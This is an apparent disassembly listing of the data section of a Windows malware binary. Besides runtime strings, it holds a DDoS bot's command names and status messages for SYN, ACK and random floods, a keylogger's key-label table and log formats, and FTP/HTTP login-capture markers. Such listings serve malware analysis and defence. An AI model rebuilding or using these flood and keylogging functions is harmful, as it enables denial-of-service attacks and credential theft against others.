dword_421820	dd 0FFFFFFFFh, 41AAB7h,	41AABBh, 0 ; DATA XREF:	sub_41A8FF+5o
dword_421830	dd 0FFFFFFFFh, 41AB19h,	41AB22h, 0 ; DATA XREF:	sub_41AAC3+5o
dword_421840	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41AB9C+5o
		dd offset loc_41ABED
		align 10h
		dd offset loc_41ABD9
		dd offset loc_41ABDD
dword_421858	dd 0FFFFFFFFh, 0	; DATA XREF: sub_41ABF2+5o
		dd offset loc_41AC43
		align 8
		dd offset loc_41AC2F
		dd offset loc_41AC33
dword_421870	dd 2 dup(0)		; DATA XREF: sub_41BD71+36o
					; sub_41D1F7+39o ...
dword_421878	dd 0FFFFFFFFh, 41BE81h,	41BE85h, 0FFFFFFFFh, 41BF35h, 41BF39h
					; DATA XREF: sub_41BD71+5o
		dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
		dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
		dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
		dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
		dd 65682065h, 0A0D7061h, 0
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 10h
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 4
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 10h
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 4
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 4
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 4
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra	db 0Dh,0Ah
		db 'abnormal program termination',0Dh,0Ah,0
		align 4
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 10h
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: .nsp0:off_4383FCo
		db '- floating point not loaded',0Dh,0Ah,0
		align 4
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_41CF19+119o
		align 10h
asc_421B40	db 0Ah			; DATA XREF: sub_41CF19+F1o
		db 0Ah,0
		align 4
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_41CF19+D3o
		db 0Ah
		db 'Program: ',0
		align 10h
a___		db '...',0              ; DATA XREF: sub_41CF19+BFo
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: sub_41CF19+7Do
		align 10h
dword_421B80	dd 0FFFFFFFFh, 41D2F0h,	41D2F4h	; DATA XREF: sub_41D1F7+5o
aSunmontuewedth	db 'SunMonTueWedThuFriSat',0
		align 4
aJanfebmaraprma	db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
		align 4
aTz		db 'TZ',0               ; DATA XREF: sub_41E162+Ao
		align 10h
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_41E6EE+3Do
		align 4
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_41E6EE+35o
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_41E6EE+24o
a1Qnan		db '1#QNAN',0           ; DATA XREF: sub_41F004:loc_41F0F9o
		align 4
a1Inf		db '1#INF',0            ; DATA XREF: sub_41F004+D8o
		align 10h
a1Ind		db '1#IND',0            ; DATA XREF: sub_41F004+C7o
		align 4
a1Snan		db '1#SNAN',0           ; DATA XREF: sub_41F004+ADo
		align 10h
dword_421C20	dd 0FFFFFFFFh, 41F9FCh,	41FA00h, 0FFFFFFFFh, 41FA6Bh, 41FA6Fh
					; DATA XREF: sub_41F845+5o
		dd 421D40h
off_421C3C	dd offset loc_41FFA8	; DATA XREF: sub_41FDB0+4Do
					; sub_41FFC4+Co
		dd offset sub_41FE6E
		dd offset sub_41FF8B
aStringTooLong	db 'string too long',0  ; DATA XREF: sub_41FDB0+1Eo
		dd offset dword_421D78
off_421C5C	dd offset loc_41FED5	; DATA XREF: sub_41FE0A+4Eo
					; sub_41FE98+11o ...
		dd offset sub_41FE6E
		dd offset sub_41FE7B
		dd offset dword_421DC8
off_421C6C	dd offset loc_420090	; DATA XREF: sub_41FFDC+4Do
					; sub_4200AC+Co
		dd offset sub_41FE6E
		dd offset sub_420073
aInvalidStringP	db 'invalid string position',0 ; DATA XREF: sub_41FFDC+1Eo
		dd offset dword_421DF8
off_421C94	dd offset sub_420112	; DATA XREF: sub_42012E+8o
					; sub_42016B+8o ...
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 1, 42h, 0
aUnknownExcepti	db 'Unknown exception',0 ; DATA XREF: .nsp0:004201D2o
		align 10h
		dd offset dword_421E40
off_421CB4	dd offset loc_4201ED	; DATA XREF: sub_4201D8o
					; .nsp0:off_438B20o ...
dword_421CB8	dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF:	sub_420209+Eo
		dd 3, 19930520h, 2 dup(0)
off_421CD8	dd offset off_438B20	; DATA XREF: .nsp0:00421D28o
					; .nsp0:00421D5Co ...
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
off_421CF0	dd offset off_438B38	; DATA XREF: .nsp0:00421D24o
					; .nsp0:00421D58o ...
		dd 1, 0
		dd 0FFFFFFFFh, 2 dup(0)
off_421D08	dd offset off_438B58	; DATA XREF: .nsp0:00421D20o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_421D08
		dd offset off_421CF0
		dd offset off_421CD8
dword_421D2C	dd 3 dup(0)		; DATA XREF: .nsp0:00421D50o
		dd 3, 421D20h, 3 dup(0)
		dd offset off_438B58
		dd offset dword_421D2C+4
		align 8
		dd offset off_421CF0
		dd offset off_421CD8
dword_421D60	dd 4 dup(0)		; DATA XREF: .nsp0:00421D88o
		dd 2, 421D58h
dword_421D78	dd 3 dup(0)		; DATA XREF: .nsp0:00421C58o
		dd offset off_438B38
		dd offset dword_421D60+8
		align 10h
off_421D90	dd offset off_438B78	; DATA XREF: .nsp0:00421DA8o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_421D90
		dd offset off_421CF0
		dd offset off_421CD8
		dd 0
		db    0			; DATA XREF: .nsp0:00421DD8o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 3, 421DA8h
dword_421DC8	dd 3 dup(0)		; DATA XREF: .nsp0:00421C68o
		dd offset off_438B78
		dd offset unk_421DB8
		dd offset off_421CD8
dword_421DE0	dd 4 dup(0)		; DATA XREF: .nsp0:00421E08o
		dd 1, 421DDCh
dword_421DF8	dd 3 dup(0)		; DATA XREF: .nsp0:00421C90o
		dd offset off_438B20
		dd offset dword_421DE0+8
		align 10h
off_421E10	dd offset off_438B98	; DATA XREF: .nsp0:00421E28o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_421E10
dword_421E2C	dd 3 dup(0)		; DATA XREF: .nsp0:00421E50o
		dd 1, 421E28h
dword_421E40	dd 3 dup(0)		; DATA XREF: .nsp0:00421CB0o
		dd offset off_438B98
		dd offset dword_421E2C+4
		align 8
dword_421E58	dd 19930520h, 2, 421E78h, 5 dup(0) ; DATA XREF:	.nsp0:loc_420263o
		dd 0FFFFFFFFh, 42024Ch,	0
		dd offset sub_420244
dword_421E88	dd 19930520h, 2, 421EA8h, 5 dup(0) ; DATA XREF:	.nsp0:loc_420280o
		dd 0FFFFFFFFh, 420270h,	0
		dd offset loc_420278
dword_421EB8	dd 19930520h, 2, 421ED8h, 1, 421EE8h, 3	dup(0)
					; DATA XREF: .nsp0:loc_42028Co
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 421F00h, 4	dup(0)
		dd offset loc_404E38
		dd 0
		dd offset off_438B20
		dd 0
		dd 0FFFFFFFFh, 0
		dd 0Ch,	42016Bh, 2 dup(0)
		dd offset off_438B38
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	41FEF1h, 2 dup(0)
		dd offset off_438B58
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	41FFC4h, 0
dword_421F70	dd 3, 421F50h, 421F30h,	421F10h	; DATA XREF: .nsp0:00421F8Co
dword_421F80	dd 0			; DATA XREF: sub_41FDB0+47o
					; sub_41FF8B+12o
		dd offset sub_41FF4E
		dd 0
		dd offset dword_421F70
dword_421F90	dd 19930520h, 1, 421FB0h, 5 dup(0) ; DATA XREF:	.nsp0:loc_4202A0o
		dd 0FFFFFFFFh, 420298h
dword_421FB8	dd 19930520h, 1, 421FD8h, 5 dup(0) ; DATA XREF:	.nsp0:loc_4202B4o
dword_421FD8	dd 0FFFFFFFFh, 4202ACh,	2, 421F30h, 421F10h, 0 ; DATA XREF: .nsp0:00421FFCo
dword_421FF0	dd 0			; DATA XREF: sub_41FE7B+12o
		dd offset sub_41FE98
		dd 0
		dd offset dword_421FD8+8
dword_422000	dd 19930520h, 1, 422020h, 5 dup(0) ; DATA XREF:	.nsp0:loc_4202C8o
		dd 0FFFFFFFFh, 4202C0h
dword_422028	dd 19930520h, 1, 422048h, 5 dup(0) ; DATA XREF:	.nsp0:loc_4202DCo
		dd 0FFFFFFFFh, 4202D4h
dword_422050	dd 19930520h, 1, 422070h, 5 dup(0) ; DATA XREF:	.nsp0:loc_4202F0o
		dd 0FFFFFFFFh, 4202E8h,	0
		dd offset off_438B78
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	4200ACh, 0
dword_422098	dd 3, 422078h, 421F30h,	421F10h	; DATA XREF: .nsp0:004220B4o
dword_4220A8	dd 0			; DATA XREF: sub_41FFDC+47o
					; sub_420073+12o
		dd offset sub_420036
		dd 0
		dd offset dword_422098
dword_4220B8	dd 19930520h, 1, 4220D8h, 5 dup(0) ; DATA XREF:	.nsp0:loc_420304o
		dd 0FFFFFFFFh, 4202FCh
dword_4220E0	dd 19930520h, 1, 422100h, 5 dup(0) ; DATA XREF:	.nsp0:loc_420318o
		dd 0FFFFFFFFh, 420310h,	90h dup(0)
		dd 7Eh,	2 dup(0)
		dd 16D0000h, 3 dup(0)
		dd 2060000h, 6 dup(0)
		dd 207h, 6 dup(0)
		dd 159h, 4 dup(0)
		dd 11B0000h, 3 dup(0)
		dd 2960000h, 0
		dd 1E40000h, 5 dup(0)
		dd 218h, 2 dup(0)
		dd 1Bh,	2 dup(0)
		dd 2DF0000h, 2 dup(0)
		dd 2A70000h, 4 dup(0)
		dd 340000h, 3 dup(0)
		dd 124h, 4 dup(0)
		dd 16E0000h, 4 dup(0)
		dd 0FBh, 3 dup(0)
		dd 11A0000h, 3 dup(0)
		dd offset dword_4A0000
		dd 3 dup(0)
		dd 1120000h, 3 dup(0)
		dd 10Dh, 4 dup(0)
		dd 900000h, 2 dup(0)
		dd 8A0000h, 5 dup(0)
		dd 890000h, 6 dup(0)
		dd 9Dh,	3 dup(0)
		dd 94h,	3 dup(0)
		dd 26A0000h, 4 dup(0)
		dd 1C1h, 5 dup(0)
		dd 66h,	5 dup(0)
		dd 1ABh, 9 dup(0)
		dd 55h,	5 dup(0)
; ---------------------------------------------------------------------------
		retn	1
; ---------------------------------------------------------------------------
		align 4
		dd 3 dup(0)
		dd 13Eh, 3 dup(0)
		dd 1260000h, 4 dup(0)
		dd 0AF0000h, 4 dup(0)
		dd 193h, 3 dup(0)
		dd 18Ch, 2 dup(0)
		dd 2B00000h, 4 dup(0)
		dd 1D6h, 3 dup(0)
		dd 35h,	4 dup(0)
		dd 26C0000h, 3 dup(0)
		dd 114h, 2 dup(0)
		dd offset dword_440000
		dd 4 dup(0)
		dd 80h,	6 dup(0)
		dd 268h, 4 dup(0)
		dd 1650000h, 3 dup(0)
		dd 10B0000h, 5 dup(0)
		dd 1F9h, 3 dup(0)
		dd 63h,	3 dup(0)
		dd 0F70000h, 4 dup(0)
		dd offset aSunday	; "sunday"
		align 10h
		dd 175h, 3 dup(0)
		dd 18Dh, 4 dup(0)
		dd 7D0000h, 3 dup(0)
		dd 57h,	2 dup(0)
		dd 1EF0000h, 3 dup(0)
		dd 0F8h, 4 dup(0)
		dd 280000h, 2 dup(0)
		dd 2CE0000h, 5 dup(0)
		dd 3Fh,	3 dup(0)
		dd 29Fh, 3 dup(0)
		dd 1DD0000h, 2 dup(0)
		dd 2D20000h, 5 dup(0)
		dd 0CEh, 4 dup(0)
		dd 29Eh, 4 dup(0)
		dd 11Ch, 3 dup(0)
		dd 1200000h, 4 dup(0)
		dd 1990000h, 2 dup(0)
		dd 19F0000h, 2 dup(0)
		dd 22F0000h, 2 dup(0)
		dd 1700000h, 6 dup(0)
		dd 15Dh, 3 dup(0)
		dd 1A2h, 2 dup(0)
		dd 1500000h, 4 dup(0)
; ---------------------------------------------------------------------------
		retf	0
; ---------------------------------------------------------------------------
		align 4
		dd 3 dup(0)
		dd 1740000h, 3 dup(0)
		dd 19Dh, 2 dup(0)
		dd 19B0000h, 3 dup(0)
		dd 2BFh, 2 dup(0)
		dd 2BB0000h, 3 dup(0)
		dd 1B80000h, 3 dup(0)
		dd 20B0000h, 4 dup(0)
		dd 1A3h, 2 dup(0)
		dd 1BFh, 3 dup(0)
		dd 1C0h, 3 dup(0)
		dd 0BFh, 2 dup(0)
		dd 0B9h, 0
		dd 1310000h, 2 dup(0)
		dd 2AD0000h, 6 dup(0)
		dd 0B20000h, 6 dup(0)
		dd 0B3h, 5 dup(0)
		dd 1060000h, 5 dup(0)
		dd 1080000h, 6 dup(0)
		dd 26Dh, 3 dup(0)
		dd 1520000h, 3 dup(0)
		dd 1150000h, 3 dup(0)
		dd 153h, 3 dup(0)
		dd 1560000h, 4 dup(0)
		dd 27Ch, 3 dup(0)
		dd 0AAh, 4 dup(0)
		dd 28Bh, 6 dup(0)
		dd 1B50000h, 3 dup(0)
		dd 1B20000h, 3 dup(0)
		dd 2610000h, 3 dup(0)
		dd 210000h, 4 dup(0)
		dd 22h,	3 dup(0)
		dd 2620000h, 154h dup(0)
dword_423000	dd 0			; DATA XREF: sub_4177FA+1Fo
		dd offset sub_4036CF
		dd offset sub_404EE6
		dd offset sub_4200C4
dword_423010	dd 0			; DATA XREF: sub_4177FA+1Ao
dword_423014	dd 0			; DATA XREF: sub_4177FA+10o
		dd offset sub_416852
		dd offset sub_41C384
		dd offset sub_41D0D6
		dd offset sub_41DF48
dword_423028	dd 0			; DATA XREF: sub_4177FA:loc_417805o
dword_42302C	dd 0			; DATA XREF: sub_417849+65o
		dd offset sub_41D17B
dword_423034	dd 0			; DATA XREF: sub_417849:loc_4178A9o
dword_423038	dd 0			; DATA XREF: sub_417849+76o
		dd offset sub_41DF59
dword_423040	dd 4 dup(0)		; DATA XREF: sub_417849:loc_4178BAo
unk_423050	db    2			; DATA XREF: sub_401000+5Bo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 64h,	6Fh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDoneWithFloodI	db '  Done with flood (%iKB/sec).',0
		align 4
unk_42308C	db    2			; DATA XREF: sub_4010B2+302o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 64h,	6Fh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSendErrorD_	db '  Send error: <%d>.',0
		align 10h
aDdos_random	db 'ddos.random',0      ; DATA XREF: sub_4010B2:loc_4011DEo
aDdos_ack	db 'ddos.ack',0         ; DATA XREF: sub_4010B2:loc_4011C2o
		align 4
aDdos_syn	db 'ddos.syn',0         ; DATA XREF: sub_4010B2+F1o
		align 4
unk_4230E4	db    2			; DATA XREF: sub_401447+397o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  20h
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aDoneWithSFlood	db 'Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%dMB'
		db ').',0
unk_423148	db    2			; DATA XREF: sub_401447+307o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  20h
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorSendingPa	db 'Error sending packets to IP: %s. Packets sent: %d. Returned: <%d>'
		db '.',0
		align 4
unk_4231AC	db    2			; DATA XREF: sub_401447+12Ao
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  20h
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aInvalidTargetI	db 'Invalid target IP.',0
		align 10h
unk_4231E0	db    2			; DATA XREF: sub_401447+C2o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  20h
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorSetsockop	db 'Error: setsockopt() failed, returned: <%d>.',0
unk_42322C	db    2			; DATA XREF: sub_401447+49o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  20h
		db 69h,	63h, 6Dh
		db  70h	; p
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorSocketFai	db 'Error: socket() failed, returned: <%d>.',0
dword_423274	dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh
					; DATA XREF: sub_40182E+48o
		dd 2029206Ch, 2BBBB02h
aDoneWithFloo_0	db '  Done with flood (%iKB/sec).',0
		align 10h
dword_4232B0	dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh
					; DATA XREF: sub_4018CA+27Do
		dd 2029206Ch, 2BBBB02h
aSendErrorD__0	db '  Send error: <%d>.',0
dword_4232E0	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: sub_401BD6+4EBo
		dd 2029206Ch, 2BBBB02h
aDoneWithSFlo_0	db '  Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d'
		db 'MB).',0
		align 4
dword_423344	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: sub_401BD6+44Fo
		dd 2029206Ch, 2BBBB02h
aErrorSending_0	db '  Error sending packets to IP: %s. Packets sent: %d. Returned: <%'
		db 'd>.',0
		align 4
aRandom		db 'random',0           ; DATA XREF: sub_401BD6+312o
					; sub_40CE55+2B28o ...
		align 10h
aAck		db 'ack',0              ; DATA XREF: sub_401BD6+2F2o
					; sub_40CE55+2B11o
aSyn		db 'syn',0              ; DATA XREF: sub_401BD6+2D2o
					; sub_40CE55+2AF9o
dword_4233B8	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: sub_401BD6+15Fo
		dd 2029206Ch, 2BBBB02h
aInvalidTarge_0	db '  Invalid target IP.',0
		align 4
dword_4233EC	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: sub_401BD6+EEo
		dd 2029206Ch, 2BBBB02h
aErrorSetsock_0	db '  Error: setsockopt() failed, returned: <%d>.',0
		align 4
dword_423438	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: sub_401BD6+70o
		dd 2029206Ch, 2BBBB02h
aErrorSocketF_0	db '  Error: socket() failed, returned: <%d>.',0
		align 10h
		dw 8
		unicode	0, <>,0
aB:					; DATA XREF: sub_4021FB:loc_4022DEo
		unicode	0, <b>,0
		dd 62000000h, 2	dup(0)
		dd 0Dh,	65h, 65000000h,	2 dup(0)
		dd 1Bh,	4353455Bh, 5B00005Dh, 5D435345h, 0
		dd 70h,	5D31465Bh, 5B000000h, 5D3146h, 0
		dd 71h,	5D32465Bh, 5B000000h, 5D3246h, 0
		dd 72h,	5D33465Bh, 5B000000h, 5D3346h, 0
		dd 73h,	5D34465Bh, 5B000000h, 5D3446h, 0
		dd 74h,	5D35465Bh, 5B000000h, 5D3546h, 0
		dd 75h,	5D36465Bh, 5B000000h, 5D3646h, 0
		dd 76h,	5D37465Bh, 5B000000h, 5D3746h, 0
		dd 77h,	5D38465Bh, 5B000000h, 5D3846h, 0
		dd 78h,	5D39465Bh, 5B000000h, 5D3946h, 0
		dd 79h,	3031465Bh, 5B00005Dh, 5D303146h, 0
		dd 7Ah,	3131465Bh, 5B00005Dh, 5D313146h, 0
		dd 7Bh,	3231465Bh, 5B00005Dh, 5D323146h, 0
		dd 0C0h, 60h, 7E000000h, 2 dup(0)
		dd 2 dup(31h), 21000000h, 2 dup(0)
		dd 2 dup(32h), 40000000h, 2 dup(0)
		dd 2 dup(33h), 23000000h, 2 dup(0)
		dd 2 dup(34h), 24000000h, 2 dup(0)
		dd 2 dup(35h), 25000000h, 2 dup(0)
		dd 2 dup(36h), 5E000000h, 2 dup(0)
		dd 2 dup(37h), 26000000h, 2 dup(0)
		dd 2 dup(38h), 2A000000h, 2 dup(0)
		dd 2 dup(39h), 28000000h, 2 dup(0)
		dd 2 dup(30h), 29000000h, 2 dup(0)
		dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
		dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
		dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
		dd 51h,	71h, 51000000h,	2 dup(0)
		dd 57h,	77h, 57000000h,	2 dup(0)
		dd 45h,	65h, 45000000h,	2 dup(0)
		dd 52h,	72h, 52000000h,	2 dup(0)
		dd 54h,	74h, 54000000h,	2 dup(0)
		dd 59h,	79h, 59000000h,	2 dup(0)
		dd 55h,	75h, 55000000h,	2 dup(0)
		dd 49h,	69h, 49000000h,	2 dup(0)
		dd 4Fh,	6Fh, 4F000000h,	2 dup(0)
		dd 50h,	70h, 50000000h,	2 dup(0)
		dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
		dd 0DDh, 0
		dd 7D000000h, 2	dup(0)
		dd 41h,	61h, 61000000h,	2 dup(0)
		dd 53h,	73h, 53000000h,	2 dup(0)
		dd 44h,	64h, 44000000h,	2 dup(0)
		dd 46h,	66h, 46000000h,	2 dup(0)
		dd 47h,	67h, 47000000h,	2 dup(0)
		dd 48h,	68h, 48000000h,	2 dup(0)
		dd 4Ah,	6Ah, 4A000000h,	2 dup(0)
		dd 4Bh,	6Bh, 4B000000h,	2 dup(0)
		dd 4Ch,	6Ch, 4C000000h,	2 dup(0)
		dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
		dd 0DEh, 27h, 22000000h, 2 dup(0)
		dd 5Ah,	7Ah, 5A000000h,	2 dup(0)
		dd 58h,	78h, 58000000h,	2 dup(0)
		dd 43h,	63h, 43000000h,	2 dup(0)
		dd 56h,	76h, 56000000h,	2 dup(0)
		dd 42h,	62h, 42000000h,	2 dup(0)
		dd 4Eh,	6Eh, 4E000000h,	2 dup(0)
		dd 4Dh,	6Dh, 4D000000h,	2 dup(0)
		dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
		dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
		dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
		dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
		dd 11h,	5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
		dd 5B00005Dh, 5D4E4957h, 0
		dd 2 dup(20h), 20000000h, 2 dup(0)
		dd 5Ch,	4E49575Bh, 5B00005Dh, 5D4E4957h, 0
		dd 2Ch,	5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
		dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
		dd 5D534E49h, 0
		dd 24h,	4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
		dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
		dd 5D4C4544h, 0
		dd 23h,	444E455Bh, 5B00005Dh, 5D444E45h, 0
		dd 22h,	4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
		dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
		dd 5D5055h, 0
		dd 27h,	4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
		dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
		dd 4B4C4D4Eh, 5Dh, 6Fh,	2Fh, 2F000000h,	2 dup(0)
		dd 6Ah,	2Ah, 2A000000h,	2 dup(0)
		dd 6Dh,	2Dh, 2D000000h,	2 dup(0)
		dd 6Bh,	2Bh, 2B000000h,	2 dup(0)
		dd 60h,	30h, 30000000h,	2 dup(0)
		dd 61h,	31h, 31000000h,	2 dup(0)
		dd 62h,	32h, 32000000h,	2 dup(0)
		dd 63h,	33h, 33000000h,	2 dup(0)
		dd 64h,	34h, 34000000h,	2 dup(0)
		dd 65h,	35h, 35000000h,	2 dup(0)
		dd 66h,	36h, 36000000h,	2 dup(0)
		dd 67h,	37h, 37000000h,	2 dup(0)
		dd 68h
dword_423BB4	dd 38h,	38000000h, 2 dup(0) ; DATA XREF: sub_4021FB+2B6o
		dd 69h,	39h, 39000000h,	2 dup(0)
		dd 6Eh,	2Eh, 2E000000h,	2 dup(0)
dword_423BEC	dd 28026502h, 62302E31h, 20282029h, 6C79656Bh, 6D2E676Fh
					; DATA XREF: sub_40211A+AEo
		dd 6C1F641Fh, 2202920h,	2002BBBBh, 732520h
aDDDDDDS	db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: sub_40211A+88o
		align 4
aAb		db 'ab',0               ; DATA XREF: sub_40211A+4Eo
					; sub_40CE55+29D7o
		align 10h
asc_423C30:				; DATA XREF: sub_40211A+2Co
		unicode	0, <\>,0
aSReturnS	db '%s (Return) (%s)',0 ; DATA XREF: sub_4021FB+228o
		align 4
aSBufferFullS	db '%s (Buffer full) (%s)',0 ; DATA XREF: sub_4021FB+1E5o
		align 10h
aSChangedWindow	db '%s (Changed Windows: %s)',0 ; DATA XREF: sub_4021FB+8Fo
		align 10h
off_423C80	dd offset dword_4244F8	; DATA XREF: sub_4024DC+29Er
		dd offset off_4244F4
		dd offset aFtp		; "FTP"
		dd offset aHttp		; "HTTP"
dword_423C90	dd 6F6C2E3Ah, 6E6967h, 3 dup(0)	; DATA XREF: sub_4024DC+1DEo
dword_423CA4	dd 0			; DATA XREF: sub_4024DC+297r
		dd 6F6C2C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C213Ah, 6E6967h, 4 dup(0)
		dd 6F6C403Ah, 6E6967h, 4 dup(0)
		dd 6F6C243Ah, 6E6967h, 4 dup(0)
		dd 6F6C253Ah, 6E6967h, 4 dup(0)
		dd 6F6C5E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C263Ah, 6E6967h, 4 dup(0)
		dd 6F6C2A3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2B3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C5C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C273Ah, 6E6967h, 4 dup(0)
		dd 6F6C603Ah, 6E6967h, 4 dup(0)
		dd 6F6C7E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C203Ah, 6E6967h, 4 dup(0)
		dd 75612E3Ah, 6874h, 4 dup(0)
		dd 75612C3Ah, 6874h, 4 dup(0)
		dd 7561213Ah, 6874h, 4 dup(0)
		dd 7561403Ah, 6874h, 4 dup(0)
		dd 7561243Ah, 6874h, 4 dup(0)
